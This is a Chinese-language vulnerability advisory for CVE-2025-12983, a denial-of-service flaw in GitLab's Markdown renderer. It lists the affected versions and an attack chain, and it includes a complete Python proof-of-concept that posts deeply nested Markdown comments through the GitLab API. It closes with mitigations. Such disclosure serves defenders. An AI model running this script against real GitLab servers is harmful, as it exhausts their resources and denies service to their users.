IPBUF安全漏洞报告
English
CVE-2025-12983 CVSS 3.5 低危

GitLab Markdown嵌套格式拒绝服务漏洞 (CVE-2025-12983)

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-12983
漏洞类型
拒绝服务
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

GitLab拒绝服务MarkdownCVE-2025-12983嵌套格式资源耗尽CE/EEWeb渲染漏洞

漏洞概述

CVE-2025-12983是GitLab Community Edition (CE) 和Enterprise Edition (EE)中的一个拒绝服务(DoS)漏洞。该漏洞影响从16.9版本开始到18.3.6之前的所有版本,以及18.4到18.4.4之前和18.5到18.5.2之前的所有版本。漏洞源于GitLab在处理Markdown内容时的渲染机制存在缺陷,攻击者(已认证的低权限用户)可以通过提交包含特殊构造的嵌套格式模式的Markdown内容来触发该漏洞。当GitLab尝试解析和渲染这些恶意构造的Markdown时,可能会导致服务器资源被大量消耗,从而造成拒绝服务条件,影响GitLab实例的可用性。该漏洞的CVSS评分为3.5,属于低危级别,主要影响系统的可用性。由于攻击需要认证且需要构造特定的Markdown模式,因此利用难度相对较高。GitLab官方已于2025年11月12日发布了修复版本18.5.2、18.4.4和18.3.6,建议所有受影响的用户尽快升级到这些安全版本以消除风险。

技术细节

该漏洞的根本原因在于GitLab的Markdown渲染器在处理嵌套格式标签时存在递归处理问题。当用户提交包含多层嵌套的Markdown格式标签(如多重嵌套的加粗、斜体、链接等标签组合)时,渲染器会进行深度递归解析。攻击者可以构造特定模式的嵌套内容,导致渲染过程消耗大量CPU和内存资源。具体来说,恶意构造的Markdown可能包含数百层嵌套的格式化标签(如[[**[[**text**]]**]]这样的多层嵌套结构),当GitLab的markdown处理模块尝试解析这些内容时,会触发指数级的计算复杂度,最终导致服务资源耗尽。由于GitLab在多个功能点都会渲染Markdown(包括问题描述、评论、维基页面等),攻击者有多个入口点可以利用此漏洞。CVSS向量显示攻击复杂度为高(AC:H),表明构造有效的攻击载荷需要一定的技术能力。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab低权限账户凭据(个人访问令牌或通过正常注册流程获取账户)
STEP 2
步骤2
攻击者构造包含深层嵌套Markdown格式标签的特殊payload,如数百层嵌套的加粗、斜体、删除线等标签组合
STEP 3
步骤3
攻击者将恶意构造的Markdown内容提交到GitLab的任意支持Markdown渲染的功能点,如问题评论、合并请求评论、维基页面等
STEP 4
步骤4
GitLab的Markdown渲染器接收到恶意内容后进行深度递归解析,触发指数级计算复杂度
STEP 5
步骤5
渲染过程消耗大量服务器CPU和内存资源,导致GitLab实例响应变慢或完全无响应
STEP 6
步骤6
在多用户场景下,多个恶意payload可能导致服务完全不可用,实现拒绝服务攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-12983 PoC - GitLab Markdown Nested Formatting DoS # This PoC generates a crafted markdown payload with nested formatting patterns # that can cause denial of service when rendered by GitLab. import requests import sys def generate_nested_markdown(depth=100): """ Generate nested markdown content to trigger DoS. The nesting creates exponential parsing complexity. """ # Create deeply nested formatting patterns payload = "test" for i in range(depth): payload = f"**{payload}**" # Wrap in various formatting combinations final_payload = f"""**__~~{payload}~~__** [{payload}](https://example.com) `{payload}` > {payload} - {payload} """ return final_payload def exploit_gitlab(target_url, token, issue_id): """ Submit crafted markdown to GitLab issue to trigger DoS. Args: target_url: Base URL of GitLab instance token: GitLab personal access token issue_id: Target issue ID to post comment """ headers = { "PRIVATE-TOKEN": token, "Content-Type": "application/json" } # Generate the malicious payload markdown_content = generate_nested_markdown(depth=150) # Post as comment to trigger markdown rendering comment_data = { "body": markdown_content } api_url = f"{target_url}/api/v4/issues/{issue_id}/notes" try: response = requests.post(api_url, json=comment_data, headers=headers) if response.status_code == 201: print("[+] Malicious markdown submitted successfully!") print("[*] GitLab server will consume resources parsing nested patterns") return True else: print(f"[-] Failed to submit: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <gitlab_url> <token> <issue_id>") print("Example: python3 poc.py https://gitlab.example.com glpat-xxxx 123") sys.exit(1) target = sys.argv[1] token = sys.argv[2] issue = sys.argv[3] exploit_gitlab(target, token, issue)

影响范围

GitLab CE/EE 16.9 <= version < 18.3.6
GitLab CE/EE 18.4 <= version < 18.4.4
GitLab CE/EE 18.5 <= version < 18.5.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户创建问题评论的功能;2) 在GitLab前端增加Markdown内容长度和嵌套深度的客户端校验;3) 监控异常的资源消耗模式;4) 对Markdown渲染服务设置超时限制;5) 考虑临时禁用部分Markdown高级格式功能。但这些措施仅为临时解决方案,最终仍需升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表